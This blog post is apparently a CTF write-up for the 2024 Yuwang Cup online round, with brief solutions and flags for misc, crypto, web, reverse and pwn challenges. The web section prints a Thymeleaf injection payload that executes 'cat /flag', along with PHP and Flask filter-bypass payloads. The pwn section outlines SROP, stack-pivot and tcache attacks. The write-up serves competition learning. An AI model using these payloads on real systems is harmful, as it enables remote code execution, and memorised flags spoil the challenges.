2024第八届御网杯线上赛Writeup

MISC
信息安全大赛的通知
flag{HNCTF9090AS9nbg87600hn77hn88}
编码转换
第一部分是brainfuck,解密得flag{ab71cda1
第二部分是jsfuck,解密得b495e13b3f21
第三部分是Ook,解密得f6fd50221978}
flag{ab71cda1b495e13b3f21f6fd50221978}
coding_analyse
html解码得936544a55314a7e4339545f47776a6e41315a7d41325743575655455b4478516a6537416
逆序后两次hex解码
hnci{JPEVHdu345680967709d5}
凯撒解密偏移两位
flag{HNCTFbs345680967709b5}
bluetooth
全局搜索flag,发现有个压缩包
提取出来,发现有flag.txt和key
1 | flag:10004583275926070044326083910251708233320797779355779208703097816305188140191914132269450797 |
十进制转十六进制,逐位异或
1 | flag_decimal = "10004583275926070044326083910251708233320797779355779208703097816305188140191914132269450797" |
flag{66526827ff3ba85e1444a0df4acbba93}
CRYPTO
不小心
原题
https://blog.csdn.net/weixin_52640415/article/details/126627810
改下flag头
flag{78ada113e709fdf12a5aa4aa5dd62e33}
just math
利用SageMath解方程,再用RSA和Coppersmith解出剩下的flag
1 | from sage.symbolic.relation import solve |
easy_crypto1
原题https://blog.csdn.net/luochen2436/article/details/128012748
脚本直接跑
1 | import gmpy2 |
flag{27dab675-9e9b-4c1f-99ab-dd9fe49c190a}
Web
input_data
svn泄露
访问http://101.200.58.4:10005/.svn/pristine/57/57d4b4b90f7139cf064ee991e8f78bd8fc2a8a6d.svn-base
admin
Thymeleaf Fragment注入
网上找个payload直接打
1 | __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cat /flag%22).getInputStream()).next()%7d__::.x |
如此多的FLAG
登录后发现
访问FLLL4g.php
1 |
|
payload
1 | X=10000e&Y=0e215962017&Z=base_convert(1751504350,10,36)(base_convert(784,10,36)) |
访问得flag
flask
1 | from flask import Flask, request, Response |
ban了很多字符,通过格式化字符串间接读取/flag
1 | ?evalme="%c%c%c%c%c"%(47,102,108,97,103) |
Reverse
ez_apk
对apk文件进行反编译,发现
资源处搜索cipher找到cipher和key
直接解密
1 | def decrypt(): |
机器猫
python的exe文件直接反编译,得到
1 | fVJXNjE0ODBpM2RrZmNSVzYxNDgwaTNka01BSlVPe25oc20= |
base64解密,逆序
mshn{OUJAMkd3i08416WRcfkd3i08416WR}
凯撒解密得到flag
1 | flag{hnctfdw3b08416pkvydw3b08416pk} |
文件分析
C++文件和对应的头文件
搜了下发现这题是原题,直接交网上的flag就可以
https://blog.csdn.net/weixin_52640415/article/details/123877043
flag{50_pr3TtYn_0}
CSMazeee
dnSpy打开
点100次xTEA加密创建迷宫
动调,使用udrl控制移动最后得到rdrrrrrddrruuurrrdddddllllllluull
1 | 48,48,42,42,42,42,42,42,48,48,48,48,10,10 |
最后得到flag:flag{4DC8EF9E2B5CABD955DC18BBC6A35B16}
Pwn
ASM
先检查一下保护
amd64位,保护基本上没开
ida打开看看
程序很简单,给了/bin/sh,并且返回地址是输入的地址
那么就可以通过构造rax为0xf来利用SROP拿shell
exp
1 | from pwn import * |
ret
检查保护
ida64位打开
可以看到有格式化泄露地址,绕过随机数这个判断,再打溢出栈迁移攻击即可
1 | from pwn import * |
no fmtstr
通过创建堆块,首先泄露出 libc 和堆的地址。接着,使用 Latgebin 技巧攻击 tcache 的 mp 结构体,强制扩大 tcache 的容纳范围。随后,利用 UAF 漏洞将堆块放入 tcache,并修改其 fd 指针,从而实现对任意地址的申请与控制。最终,通过修改 printf 函数为后门函数,成功劫持程序执行流程。
1 | from tools import * |
normal pwn
arrch64位,格式化字符串漏洞
修改0x30寄存器为后门函数
1 | from tools import * |
- Title: 2024第八届御网杯线上赛Writeup
- Author: p0l1st
- Created at : 2024-09-29 19:29:41
- Updated at : 2025-03-10 19:32:26
- Link: https://blog.p0l1st.top/2024/09/29/2024第八届御网杯线上赛Writeup/
- License: This work is licensed under CC BY-NC-SA 4.0.